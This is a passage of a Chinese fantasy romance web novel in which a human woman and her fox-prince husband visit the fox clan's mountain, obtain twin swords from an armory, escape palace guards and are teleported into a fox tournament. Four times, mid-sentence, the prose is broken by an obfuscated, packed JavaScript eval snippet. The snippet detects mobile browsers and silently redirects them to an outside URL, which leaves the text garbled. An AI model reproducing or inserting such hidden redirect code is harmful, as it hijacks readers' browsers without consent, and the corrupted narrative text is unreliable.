“和狐族人欢好。”他说道,嗓音微哑,声音低沉,“想完全沾染上我的气息,需要从内部攻破。” 此话一出,元和景顿时有种被野兽盯上错觉。 男人直勾勾地看着她,吐字轻而缓,悠悠然的语调凭空勾勒出几分旖旎,在空气里擦出暧昧的火花。更无需提不知何时溜到腰间的手,掌心温热,正贴着她的腰窝不紧不慢地摩挲着。 像某种无声的询问,也像隐忍而又克制的邀请。 两人成为夫妻将有半年,同榻而眠也已一月,元和景自然明白他的意思。 回想当初,她还说就做这么一对有名无实的夫妻也不错,可时至今日,她是如何与这句话背道而驰的,只有心知道。 而她也选择忠于自己的内心,伸手将男人的脖子勾住,同时起身吻了上去。 一如想象那般,唇很软,有些凉,深处却有些热。 元和景从未有过这方面的经验,现下也只能尝试着舔舐、轻咬,而她这点隔靴搔痒般的触碰无异于火上浇油,逐渐勾出男人更多的渴望。 朦胧间只听得一声轻笑,接着后脑便被扣住,铺天盖地的侵略感有如实质般在唇齿间迸发。这般陌生的触感惹得人脸红心跳,元和景只能随着本能闭上眼睛,任凭汹涌的风暴将自己淹没。 是亲吻、是爱欲、是两心相悦,是情到浓时…… 好像过了很久,久到元和景快要喘不上气时,男人终于舍得放开了她。 额头相抵,满心满眼都只有对方的脸,元和景看见红着脸气喘吁吁的自己,也看见琥珀色眸子里缱绻的情意。 一时无言。 也无需多言。 呼吸总算平复,元和景刚准备说些什么,却见对方也在此时开口。可外面的变故比话音来得更快,剧烈的颠簸过后,马车彻底停了下来。 “十殿下,骊山到了。” 简单整理过仪容后,两人前后下车,漫漫翠色如画卷般自眼前铺展开来,明亮且清新。这是一片连绵不绝的山,也是一方截然不同于京城的天地自然。 单从表面上看,此地和其他普通的山脉并没有什么区别。 而祝长生只是拉起她的手,十指紧扣后,带着她迈入了无尽碧绿之中。 眼前忽地暗了下来,所有颜色在此刻全部消失,可还不等元和景反应过来,又是另一片光景蓦地闯入视线—— 杂而乱的喧嚣声充斥在耳畔,远处青山衔雾,白鹭过而留痕;近处人来人往,来客处处谈笑。 而且不难发现,这些人都竖着两只狐狸耳朵,身后的尾巴也或悠闲或高傲地轻晃着。 手心的温热从未散去,元和景侧头看向身边人,虽然还是祝长生那副容貌,却让人心如明镜般地感觉到,现在站在眼前的,是完完全全的胡拾…… 狐族的十皇子,胡拾。 平常喊祝长生喊惯了,突然要改口还有些不适应,元和景干脆避而不言,只把五指扣得更紧了。 察觉到元和景的视线,胡拾转过头来,对她微微一笑,道:“走吧。” “嗯。” 他们现在所在的是一处路口,往前汇入人流后便进了闹市,挂着“老胡家烧烤”“专为狐族美容美发”等招牌的店铺在路边鳞次栉比,卖各种玩意的小摊见缝插针似的混在路人之中,看上去竟和人族的主街没什么分别。 唯一有所不同的,便是那路牙子上、空地里,缝隙中高高低低的杂草野花,在这群山之间扎根,也在人群之中生长。 “嘿,要说今年的万狐角斗场,跟往常又有好多变化咯,你把这些丹药法宝都买上,绝对有大用!” 元和景在一个买面具的小摊前好奇驻足时,耳边忽地传来这样一番话。 说话的是一位蓄着白胡子的狐狸老者,仅从面目就能看出几分精明和算计,再加上抑扬顿挫的语调和头头是道的分析,莫说他摊子前的那些个狐族,就连元和景都都忍不住多听了两句。 “你没看见昨天上山的那些狐狸么?都快排起队来了,今年的斗争定会比往年更加激烈,只因为那本诡术录,可是汇集上古禁术的至宝啊。” 可就这么没头没尾地听着,元和景反而越发迷茫,只好用胳膊撞了撞身侧那位正精挑细选着面具的狐族本地人,问:“什么是万狐角斗场?” 男人慢条斯理地将手上东西放下,波澜不惊地解释道:“是每年狐王寿辰时举办的一种活动,所有狐族皆可参加,他们需登顶幽山,并在山顶的角斗场决出最终胜者,奖励便是狐王亲自赐予的某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很客气地说完这些后,小二便关门离开。总算到了一个不用遮遮掩掩的地方,元和景累得在床上瘫了好一会,恢复精力后便忿忿地埋怨起来—— “你不是狐王的儿子、狐族的十殿下吗?怎么回趟老家还要这么小心,要不是你提前说过,我还以为咱们是来偷东西的。” 想想人族的皇子公主们回宫,那都是有百人来贺、千人来接的,莫说华贵的轿辇,红绸都要从宫门口铺到大殿上……哪像他们,不仅一个来接的都没有,还要住在外面的客栈里,这像什么话? 小而精致的茶盏被递到眼前,元和景起身接过,祝长生很是自然而坐在了床的另一侧,道:“你要真想被十八台大轿抬进狐王宫,同近百位不认识的狐族吃饭交谈,再整日参加些繁琐的仪式的话,我现在就带你去。” 48. 狐宫得剑 听祝长生这么一说,元和景几乎立马就能想象出自己站在一众名字都叫不出的夫人小姐之间,支支吾吾着一句话也说不出来的场景,她连忙把头摇成拨浪鼓,说:“算了算了。” 祝长生瞧着她避如蛇蝎的模样,眉头轻挑,莞尔笑道:“那不行,你不愿意去,今晚我还非带你去不可。” 元和景登时警觉,一个挺身做起来,盯着对方目光灼灼地问:“为什么?你难不成还喜欢被七大姑八大姨簇拥的感觉?” 祝长生被她这番话弄得啼笑皆非,抬手在少女光洁的额头上轻轻弹了一下,悠悠道:“不是被族人簇拥,而是被好东西簇拥,晚些时候你就知道了。” 直到夜幕深沉、月上中天时,元和景总算知晓他口中的“好东西”是什么了。 趁着夜色,两人一路穿过街道、躲过巡逻的守卫,再携手飞跃布满爬山虎的高墙,最后停在一处古朴而静谧的院落之中。 雕梁画栋,红墙琉璃瓦,制式规整且恢宏,比起那森严庄重的皇宫也毫不逊色。 只是路边墙角的植被因无人打理而太过茂盛,四周也有些过分安静而已。 稍作整理后,祝长生坦然迈步,道:“走吧。” 元和景满腹狐疑,猜不出这狐狸正卖什么关子,不过既来之则安之,况且对方已经主动开路,她也就顺着走这一遭。 又沿着长廊转过好几个弯,末了终是一幢大门紧阖的尖顶建筑映入眼帘。 正前方的牌匾上有三个烫金的大字,元和景眯着眼辨认了好一会,只可惜完全不认识,或者这该是他们狐族特有的文字符号。 祝长生信步上前,单手放于门缝,不消片刻,只听得突兀的“吱呀”一声,门就这么开了。 元和景越看就越好奇,如此终于忍不住开口问:“我们这是在哪儿?” 祝长生并未看她,只是朝着前方略微颔首,吐字干脆:“狐王宫,兵器库。” 随着门被推开,墙边的几颗夜明珠缓缓散发出幽光,逐渐将整间屋子照得恍若白昼。而元和景也借此看清了屋内的光景—— 柜子上、木格中,还有架子里……目光所及之处都是各种各样的武器。 长剑短刃、枪头弯刀,甚至飞镖暗器缕衣盔甲,皆被仔细安置于最合适的地方,粗略数来已有几百件,且样式各异,从身上古朴的花纹便可知其来路不凡。 元和景说不出话来,唯有呆滞瞪大的眼能代表此刻心情。 轻快短暂的低笑声自耳畔响起,祝长生好整以暇地抱着手,道:“选一件吧。” 元和景机械地把脖子扭转过去看他,讷讷道:“随便选?” 祝长生面上笑意更深,忍不住抬手在她脸颊上捏了捏,说:“嗯,选哪个都可以。” 元和景总算回过神来,可很快又面露难色,哀叹道:“但这么多,我看都看不过来,要选到什么时候?” “谁说让你用眼睛看了。”祝长生声音愉悦,半哄半退着把她带到房间中央,“闭眼,用心去感受,找到与你共鸣最强的那个。” 肩头的触感消失,祝长生已经退回门口,元和景暗暗捏紧手心,随即闭上了眼。 视觉消失后,其他感官就会变得灵敏,元和景似乎能感受到风的无形流动,听到自己略微急促的呼吸声。 她将全部注意力集中在心口,仔细感受着胸腔处规律的震颤,不知从何时起,风消失了,呼吸声也消失了,唯有那微弱而坚定的震动感越来越清晰。 漫无边际的空洞中,隐约有什么东西发出阵阵嗡鸣,金色的光芒原本只是微弱星火,慢慢地竟生出燎原之势,闪烁的频率逐渐和心跳同步,最终蔓延成一片刺眼的白光。 就在这时,元和景蓦地睁眼,耳边似有风声袭来,她下意识抬手,两柄飞旋的长剑正好被反手接于掌心。 如此,那汹涌的剑意总算止息,而与此同时,元和景明显能感觉到心口处多了什么说不分明的感觉。 “不错。”祝长生的声音就在不远处传来,听上去却给人恍若隔世的感觉,“我就说,你该是最适合双剑的。” 元和景有些迷茫地眨了眨眼,看向手心里的事物,剑柄的花纹精致且繁重,两支剑鞘上刻着不知名的古兽,只能从流畅的线条间看出是一只鸟。 “这就是我的武器了?” 苦练这么久,终于得到属于自己的武器,这个事实让元和景又是惊喜又是恐慌,而祝长生只是笑吟吟地点头,看她把剑拔出又收回好几次。 外观虽复杂,入手却很是轻巧,目测比寻常的单手剑稍短些,精铁所铸的剑身反射着冷冽的寒光,出鞘时的嗡鸣响亮而清脆,无一不体现着这两把剑乃是品质极为上乘的神兵。 等元和景欣赏够了,祝长生才又道:“双剑一般要负于背后,明日我们去集市上挑个最好的护甲,然后我教你该如何携带,以及怎样拔剑是为最好……现在,我们该回客栈睡觉了。” 于是踏着漫天墨色,两人又悄无声息地离开了狐王宫。 得到上品武器的欣喜过后,元和景心中突然升起担忧,她揣揣不安地问:“我们就这么进去把狐王的东西偷走了?他不会发现了来找我麻烦吧。” 放下茶杯的祝长生睨了她一眼,不紧不慢道:“你现在才想到啊,晚了。” 元和景被吓得跳脚,连忙站起身来要往门外走,嘴里还急切地说着:“不晚,现在还回去……” 话说到一半她就噤声了,因为被一把拽进了祝长生怀里。 “傻不傻?”男人声音里含着显而易见的愉悦,手上甚至好心情地在她背上轻抚了好几下,“谁跟你说那是狐王的兵器库了。” 元和景还不敢放松,试探着问:“那是谁的?” 祝长生面上显出几分得意,道:“你夫君我的。” 元和景肩膀一松,这才安心下来,道:“哦,那没事了。” 这下轮到祝长生不满,他把怀里转身欲走的人搂更进,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116260|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依不饶地说:“怎么?我的就不用表示了,快想想如何感谢,否则可别想逃。” 窗外月光如水,屋内烛火闪烁,一片静谧无声中,唯有呼吸藕断丝连地交缠着,在两人之间晕染开似有若无的暧昧旖旎。 元和景脑子里很合时宜地想起早晨在马车上所发生之事,脸上顿时烧了起来,躲着不敢看她的眼睛,嘴上含糊地答:“先欠着吧,等回去再说。” 但祝长生似乎并不打算被这么糊弄过去,他将双手箍得更紧,见直接讨要得不了逞,就转而道:“行,那你先抬头。” 元和景听他答应,警惕心也不自觉放松下来,不疑有他地抬起头后,双唇却在下一刻就被吻住了。 …… 狐狸真是狡猾! 她是被偷袭方,这就注定了之后也占不成上风。烛光昏黄,明灭闪烁,在地上投出两个紧紧相拥的身影,还有那逐渐相融的、不分你我的暧昧气息。 次日,两人在一片闹嗡嗡的喧嚣声中醒来。越是临近狐王寿辰,大街上便越发热闹,两人在客栈用过早饭后,便一同上街买护甲,穿梭于挤挤挨挨的人群之中,两只手自握住后就再也没松开过,无论人流多远,而他们始终离彼此很近。 幽山上的雾气依旧没有散开,元和景只是无意中瞥了一眼,却见那青绿掩映的石板路上,依然有人接连走过。 看来是又有人已经入山,决心参加万狐角斗场了。 “姑娘,姑娘……” 耳畔传来声音,元和景凭着本能望去,正好和隔壁摊子里的那个年轻狐族对上视线。 “你叫我?”元和景疑惑地指了指自己。 那狐族忙不迭点点头:“是是是!” 元和景将他的摊子扫了一眼,还以为他是要向自己推销东西,于是道:“抱歉,我对药丸法器什么的不感兴趣。” 说着她就不再打算搭理,对方连忙阻止,还朝她凑近了些,低声道:“我要是没看错的话,姑娘应该是人族吧。” 元和景心头一乱,下意识否认:“你说什么呢,没看见我的耳朵和尾巴吗?” “诶哟!”那摊贩摆摆手,一副“别想蒙我”的样子,“姑娘这点术法骗得过其他狐族,可骗不过我狐大圣的火眼金睛。” 狐大圣……他是不是走错频道了? 见元和景还是满脸戒备,摊贩又凑到她面前道:“那姑娘,你可知道《狐仙配》?” 元和景:“什么配?” 她只知道《天仙配》,哪知道狐狸还有什么仙、还能怎么配的。 摊贩摆摆手,接着问:“《狐父追日》《狐狸打虎》呢,姑娘可知道?” 元和景顿时无语凝噎。 难怪这些东西听起来既熟悉又陌生,原来是都被篡改过,变成了主角是狐族的版本。 “喏,你看……”摊贩的神色更加笃定,“这些可都是所有狐族从小就脍炙人口的故事,姑娘竟然不知道,那姑娘绝对是人族。” 49. 真相沉重 元和景怎么也没想到,自己人族的身份竟是以这种方式被识破的。 心觉无奈时,她藏在衣袖下的手也悄然握成了拳,若这摊贩要当街戳穿她的话,一场惊险刺激的大逃杀定然是在所难免了。 像是猜出元和景心中所想,那摊贩连忙摆手,殷切道:“诶哟,放心吧姑娘,我狐大圣运货摆摊这么多年,在骊山见到的人族可有不少了,有不少还是我的生意伙伴,我犯得着给自己找事嘛。” 见她不信,摊贩又拿起他摊位上个通体漆黑、约莫一指粗的竹筒,说:“你看看,这玩意还是人族造的呢,据说在你们那边叫火折子,不信你自己拿着看。” 元和景戒心不减,只借着摊贩的手粗略一看,发现和他所说不差后才神色稍缓,道:“我就算信了你又能怎样?” “这对我来说可是天大的好事!”摊贩闻言激动起来,抬手指了指某个方向,“姑娘是要往那儿去的吧。” 不必专门抬头去看,元和景早已知道他说的正是幽山。摊贩看她不说话,又用“我就知道”的表情自顾自道:“这种时候来骊山的人族啊,十有八九都是冲着那好东西去的。姑娘既然与我有缘,不如跟我做笔稳赚不赔的买卖?” 如果他说的缘分,就是把人叫过来再有惊无险吓一顿的话,那还真是牵强…… 元和景扯了扯嘴角,决心先按兵不动,祝长生也发现了这边的状况,她不动声色地拍拍他的手以示安心,接着开口:“你先说说是什么买卖,我考虑一下。” 摊贩招了招手示意她凑近,四下打量过无人后才低声道:“您买我摊上的宝贝,我告诉您一条幽山上的近道。” 元和景睨他一眼:“近道保真?” 摊贩一拍胸脯:“绝对啊,不保真我狐大圣倒立吃……” “诶行行行!” 元和景连忙制止话头,转而认真思考起这笔交易的可行性来。按理说她并不打算参加万狐角斗场,所以买这消息也没用,但关于幽山,她又免不了心头的好奇。 而且每当望向这座神秘而危险的高山时,她总觉得深处有什么东西在传召她、呼唤她,让她忍不住想走进去一探究竟。 究竟是怎样的一种渴望,又是从何而来……她也说不清楚。 内心一番交战后,元和景总算有了决断,道:“你这些宝贝怎么卖的?” 登上幽山定然是不可能的,毕竟此行并非为此而来,也不应多生事端。但买些消息听个乐呵总是可行的,说不定日后遇到想去幽山的人,还能把这消息倒卖出去赚点外快。 这么想着,元和景也就专心听摊贩介绍起这些稀奇古怪的东西来—— “这是假死药,吃了之后就跟死人一模一样,狐王来了都看不出;这个是烟雾弹,使用后逃跑成功率高达百分之九十九;这个是隐形药丸,不过有时效……” 听起来倒都挺实用,元和景便一口气买了好几样,问祝长生要钱结过账后,摊贩又凑到她跟前,神秘兮兮地说:“那条近道啊,在半山腰上,你先找到四棵并排的山楂树,一棵开花不长叶、一棵长叶不开花、一棵开花也长叶,一棵无花也无叶,这就是近道的入口,进去后沿着大路一直走,走到头就登顶了。” 元和景把这消息原地吸收,接着又将探究的目光放在摊贩身上,对方见状重重地叹了口气,轻车熟路地发誓:“这些话要有一句假的我狐大圣倒立……” “诶行行行!” 再这么说下去,元和景怕下次就来不及阻止他了,于是草草道别后就拉着祝长生离开。回到客栈时正好赶上午膳,吃过饭后,便由祝长生教她使用和携带双剑的一些技巧。 期间男人旁敲侧击地问过摊子上的事,可元和景只是微笑着摇摇头,学他之前的模样把关子卖到底。 日升日落,转眼夜幕至。 得益于狐王寿辰将近,即使入了夜,街上的热闹也丝毫不减,再加上骊山并没有宵禁一说,过亥时后还能听见楼下有人大声吆喝。 隔着一层门窗,声音听得倒不甚真切,贴在后背上的胸膛温热得一如往常,但元和景就像中邪似的半分睡意也没有。 “祝长生?” 百无聊赖地发了会呆后,她决定骚扰一下某个装睡的人。 毕竟同榻而眠了这么久,祝长生睡着和没睡着的区别,她光凭呼吸声便能听个分明。 很可惜的是,男人现下突然变得诚实,元和景这么叫他,他没过多久就应了:“嗯?” 元和景颇为遗憾地咂咂嘴,收起心思认真问:“你叫胡拾,还有个哥哥叫胡陆,那你是不是还有其他兄弟姐妹,叫胡一胡二胡三之类的?” 空气倏尔陷入沉默,安静得像方才那声“嗯”只是错觉。 元和景用胳膊肘戳了戳背后那人,不依不饶地又问:“你怎么不说话了?” 这才有闷闷的笑声传出,连带着紧贴的胸腔也震动起来,祝长生笑吟吟道:“所以你这么晚还不睡,就在想这个?” 元和景索性翻了个身面对他,理不直气也壮地说:“对啊,不可以么。” “当然可以。”祝长生道,“你猜得没错,我家就是这样取名的。” 很难想象堂堂狐王的取名风格竟如此独特且潦草,元和景一时无言以对,祝长生又开口:“这都不算什么,你只是还没见过比这更加稀奇古怪的而已。” 元和景挑了挑眉,不过因为心思不在这上面,于是也没多问。停顿片刻后,她有些生硬地转移话题:“你说,胡陆这次会回来吗?” 祝长生百无聊赖地捏着她的一缕发把玩起来,兴致缺缺地道:“应该不会,毕竟自从他当年失踪后,就再也没出现过。更何况这次见面,他也在有意回避我。” 元和景心中一动,下意识想到胡陆曾对她讲过的,那只可怜又无辜的白狐。 再结合之前从祝长生回忆中看到的真相,不难猜出故事中的另一只狐狸,就是胡拾。 虽然归根结底都是猎户,也就是纳兰卿父亲的过错,可若不是胡拾踩中了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121966|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕兽夹,后面的所有事情都不会发生,胡陆也断不会走向如今背井离乡的境地。 只因为纳兰卿身上流着父亲的血,胡陆便对他起了杀心,而对于这个无意中推波助澜的弟弟,胡陆又是如何看待的呢? 更何况,祝长生现在明显对真相一无所知。 元和景没忍住叹了口气,主动问:“那你知道胡陆为何会突然失踪么?” 祝长生手上动作一滞,抬眸看她,不答反问:“你知道?” 元和景突然手足无措起来,闭上眼睛故作镇定地回:“不知道,谁知道呢。” “好了,快睡吧。”祝长生不疑有他,只是把人又往自己怀里拢了拢,没过多久便跟着阖上了眼。 真相本不长,可真相太过沉重,重到元和景明明话临嘴边,却一个字也吐不出来。 算了,还是休息吧。 还好这次终于有了睡意,元和景不必再为此纠结,可美好的酣眠并未有太久,她很快便被一阵大力摇醒了。 她困得睁不开眼,只能从喉头挤出个嘶哑的单音:“嗯?” “别睡了,有狐宫守卫查到了这里,我们先走。” 祝长生语速飞快,元和景好一会没反应过来,这时楼下猛地传来怒喝,这才将她的瞌睡吓去大半。 “狐王有令,遇到可疑人族一律格杀勿论,给我上楼一间间搜!” 元和景连忙一个鲤鱼打挺起身,急匆匆地把鞋子往脚上套,问:“这是怎么回事?” “不知道是不是朝我们而来,总之先避一避。”说着,祝长生便去推窗,可出乎意料的是,木窗竟纹丝未动。 如此,两人已然心知肚明,眼下一切是冲他们来的。 元和景当机立断道:“直接把窗劈开。” 祝长生刚准备动手,只听得“哐镗”一声巨响,房间门已经被大力踹开了。 五六个披金甲执长枪的护卫气势汹汹地朝他们逼来,元和景立马抽出背后的双剑做抵挡,只可惜双拳难敌四手,她也只能连连后退。 刚刚将面前的长枪挑开,身侧的攻势却再难抵挡,元和景心中暗道不妙,下一瞬却被拽进熟悉的怀抱。祝长生带着她扭身躲开,栽进床铺后又灵巧地滚进内侧,将所有追袭而来长枪尽数落于身后。 锋利的枪头堪堪擦过耳廓,几缕碎发一触即断,元和景顿时冷汗涔涔,突兀的冷风却在这时裹挟了周身。 明明是在屋内,为何会突然起风,而且上一秒还对他们发起攻势的狐族守卫们,现在也人间蒸发似的消失不见了。 风的触感太过真实,耳边也的确安静了下来,元和景久久未回过神,连从祝长生怀里出来都忘了。 而身下柔软又冰凉的草地正提醒着他们,两人现在已经不在客栈。 “这是……” 询问的话音同时响起,元和景不可思议地望向对方,却在祝长生脸上看到了同样的迷茫。 如果连祝长生都不知道的话,他们现在又是被谁送到了哪里? 50. 送上幽山 凉风习习,蝉鸣聒噪,远处暗不见光,唯有漆黑的树影间时不时传出一阵扑棱棱振翅声。 这处草地并不平坦,斜斜地向上延伸至密林之中。元和景踩着一块大半截身子埋进土的石头往下看,只见远处灯火明朗,人影稀疏,赫然就是他们方才所处的地方。 再结合当前的位置,他们被送上幽山的事实已经不言自明。 说出这话时,元和景再也压不住心头的担忧,语气都不免沉重了几分。 茫茫黑夜让人看不清祝长生的表情,等了半晌也没听见回应,她只能幽幽叹了口气,又道:“事不宜迟,我们连夜下山吧,在这鬼地方待着,指不定会出什么麻烦。” 背后缘由可以之后慢慢追究,眼下脱离险境才是最重要。可还不等她动作,祝长生的声音隔着一片晦暗传来—— “我们出不去了。” 像是知晓她心中疑问,祝长生平静地解释:“幽山入口已于昨日晨昏交替时关闭,也就是说,争斗已经开始,我们能做的,只有往上走。” 万狐夺宝,性命作赌,不死也伤…… 当时只叹规则残酷,如今却是规则中人了。 也顾不得被脚踩过,元和景就着那块石头一屁股坐下,沉默地感叹起自己这多舛的命运来。 “莫非你是得罪了什么人……哦不,狐?” 想了半天,她只能得出这个结论。 “我也在想这件事。”话音伴着窸窸窣窣的草叶声响起,是祝长生在向她走近,“但这次回来我并未告知任何人,而且行动也极为小心,我想不通的,是另一件事。” 熟悉的气息在身侧停下,两人并排坐在这天地草色之间,也算给茫然无归的心找到些许安定。 手在摸索着抓住,元和景并不反抗,而是收拢指尖紧扣了回去。 “是什么?” 沉吟片刻,祝长生道:“能将人悄无声息地送到别处,应该用的是一种极为简单的传送术法,可我当时并未注意到任何施术痕迹。” 身为狐王后裔,他的能力定然在许多狐族之上,可这人竟然能在他全无察觉的情况下使用传送术,要么是早有设计,要么就是始作俑者远比祝长生还要厉害。 元和景问:“会不会是那些护卫?” “不会。”祝长生答得笃定。 想不出来者何人,元和景索性换了个思路:“既然如此,那人的目的就是要我们登上幽山,参加万狐角斗场,帮他夺得诡术录?” 诡术录便是此次决斗最终胜者的奖励,由狐王亲自赐予,里面记载了许多早已失传的上古禁术,若习得其中一二,便能在如今的狐族搅起好一阵风云。 祝长生道:“如今,也只有这一种可能了。” 毕竟人家又是引护卫又是用术法,周旋这么一大圈把他们送上来,总不能是邀请他们到幽山观光的吧。 但是,元和景还有一点想不通:“他怎么就笃定我们能打败那么多人拿到诡术录呢?说不准我明早就被打趴下淘汰了。” 祝长生发出很愉悦的一声笑,语气也轻快不少:“让他遂不了愿岂非正好?总之后面一切有我,你要是还想继续走,我们就赢,不想走了,我们就随便输一架下去。” 参赛者之间有个不成文规定,除过山顶的最终决斗,其他时候都无需下死手,如果有人受了重伤,便会被判定立刻放弃资格,然后被送回山脚下。 元和景被他这副玩乐似的口气逗笑,那些隐秘的担忧也尽数消散,总之前路无常,但总有人能见招拆招。 折腾了大半夜,远处天光乍破,已是黎明降至。 困意汹涌,元和景怏怏的提不起精神,祝长生伸手一捞将人搂进了怀里,温声道:“时辰还早,先睡会吧,天亮了我叫你。” 元和景调整了一下姿势,微微抬头去看对方,困得声音都有些含糊:“你不睡?” 男人垂首,在她额头印下轻柔的一吻,道:“不必,我守着你。” 说着,有温热而柔软的事物溜进怀里,元和景摸了摸,发现是一条红中缀白、手感极好的狐狸尾巴。 如此,她也不再多说,抱着尾巴安心地睡了过去。 有和煦的阳光照在身上,暖意清浅,夹杂着晨风的微凉,元和景就在这样的宁静中醒来。 用作倚靠的人形肉垫依然温热坚实,她只是略微活动了一下身体,便感觉扣在腰侧的手更紧了些。 抬头一看,正好对上祝长生刚睁开的眼,初醒的朦胧似烟似雾,温和而绵长的情意便隐于其中。 隔着一小片生长繁茂的绿林,有说话声断续传来,细听上去并无敌意,是其他结伴参加万狐决斗场的狐族。 简单休整过后,两人也该启程,还没走出几步,元和景面前突然凭空出现个约莫一指长的卷轴,看上去古朴而陈旧,边缘处已略微泛黄。 和祝长生交换了个眼神后,元和景伸出手,那物便自动落到了她掌心里。 打开卷轴后,密密麻麻的小字映入眼帘,每行都没写完,有的长有的短,看上去很像是名单之类的东西。 元和景展开卷轴一行一行往下辨认:胡萝卜、胡芦娃、胡狐生威、胡头狐脑、胡如一夜春风来…… “这都取的什么名儿啊?”她忍不住吐槽道。 祝长生之前说得果然不错,取名比胡陆胡拾还稀奇古怪的当真大有人在。 有一行字写得格外小,可即便如此还是占了好长一段,元和景被吸引了视线,不由自主凑得更近去辨认—— “胡……狸妈妈说只要名字取得够长就会有傻子跟着念?” ? 元和景迷茫地睁大眼睛,怎么想怎么感觉自己被骂了。 “这应该就是本次参加万狐决斗场的所有狐族,如果有人淘汰,这卷轴上也会给出提示。” 祝长生忍着笑意为她解释,担心她还要深究,连忙又说:“我们先沿着林子里的小路走,之后再找机会拐进大路,毕竟人多些也更安全。” 正如他所说,穿过这片树林后,遇到的狐族便逐渐多了起来,他们衣着各异,甚至连说话口音都大有不同,有些闷头赶着路,有些三两结伴边走边聊,甚至还有背着箱子吆喝叫卖的,总之气氛融洽而和睦,半点也看不出这是一群要去决斗的人。 元和景凭着一通胡编,成功带着祝长生混入大部队之中。他们刻意隐瞒实力,只说是从外地慕名而来,没聊几句便和好几个狐族混熟了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128267|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 嚼着狐大姐慷慨投喂的肉干,元和景虚心求教:“姐,你知道《狐仙配》《狐狸打虎》讲的是什么事么?” “诶哟,这都是骊山本地颇为流传的故事,《狐仙配》就是说一个叫胡永的……” 一路上说说笑笑,时走时停,爬山也变得妙趣横生,恍惚间总给人来郊游的错觉,但好景不长,这份愉悦很快就被不速之客打破了。 行至转角,忽然有四个高矮胖瘦的狐族拦住去路,他们毫不客气地亮出武器,嚷着“胜者王,败者寇,妄想夺秘宝,先过鬼门关”。 言下之意已经再明显不过:想从这里过路的话,就要打败他们。 元和景和祝长生藏在人群之中,尽量降低自己的存在感。倒不是因为担心打不过,只是那四个一看就是最底层的小喽啰,功夫不怎么高口气却不小,在这里出手不仅浪费力气,而且还容易有暴露的风险,实在没有必要。 保留实力,并坐享其成,此乃行走江湖之道,京城里的修仙话本都这么写。 人群里出现一阵骚动,很快有一个五大三粗的狐族走了出来,对他们喊道:“我们凭什么要跟你比?” “哼,凭什么……”四兄弟之中个子最高的那个冷笑出声,只是眨眼的瞬息,他已然消失在原地,而下一刻,这边为首的那个狐族发出一声凄厉的惨叫。 大家连忙围上去看,只见他的一条胳膊就这么被卸了下来。 方才还气势汹汹的人转眼就倒在地上翻滚哀嚎不止,这一幕吓呆了好多狐族,就连元和景都在心里啧啧称奇,没想到这四个喽啰还挺有本事的。 高个子慢条斯理地擦拭着自己的刀,另一边的胖子得意洋洋地道:“怎么样?赢了就走,输了就下去,要是连我们都打不过,我劝你还是趁早放弃,别做那夺得至宝的美梦了。” 话音刚落,其他两个也跟着大笑起来,要过路的狐族们面面相觑,谁也不愿意再当出头鸟。 元和景与祝长生也勉强装出惊慌失措的样子,但其实一直暗中留意着其他人的动静,只希望那位带领大家安然过路的侠士能尽快出现。 但过了很久,大家你推来我推去,就是没有一个敢上前挑战。 “啧,磨磨唧唧的天都要黑了。”胖子不耐烦地说,“不如这样,老四,你上去随便挑一个当对手。” 此话一出,前排的狐族连忙往后退,生怕自己被选中。元和景被挤得趔趄了好几下,要不是祝长生动作快,她说不定要被踩成饼了。 这下想起来害怕,当初决定参加的时候干啥去了? 全场的目光几乎都聚集在了被叫做老四的那个狐族身上,他是兄弟四个中最矮的,气势也不太足,看得出肯定没有高个子厉害。 像这种扬名立威的大好时候,一般人都会选对手中看起来最强的那个,只要打赢了这一个,其他的也就自然而然被吓退了。 抱着这样的想法,元和景并不担心,反而还抱着手看起好戏来。只可惜狐心难测,这个矮子偏偏就要反其道而行,只一眼便锁定了人群中的元和景。 “我选她。”矮子唯唯诺诺地说道。 元和景满脸震惊地比划了好几次,终于确定那指头指的就是自己。 51. 生杀炼狱 再往左右一看,方才还挤在身边的那些狐族早已齐齐退到了几丈之外,面上无一不带着劫后余生般的庆幸。 无奈之下,元和景只好扭头看向祝长生,问:“那就打?” 祝长生略一颔首,气定神闲地道:“上吧。” 双剑就背在背后,剑锋凌厉削铁如泥,可元和景心里还是有些发怵:“那要输了怎么办?” 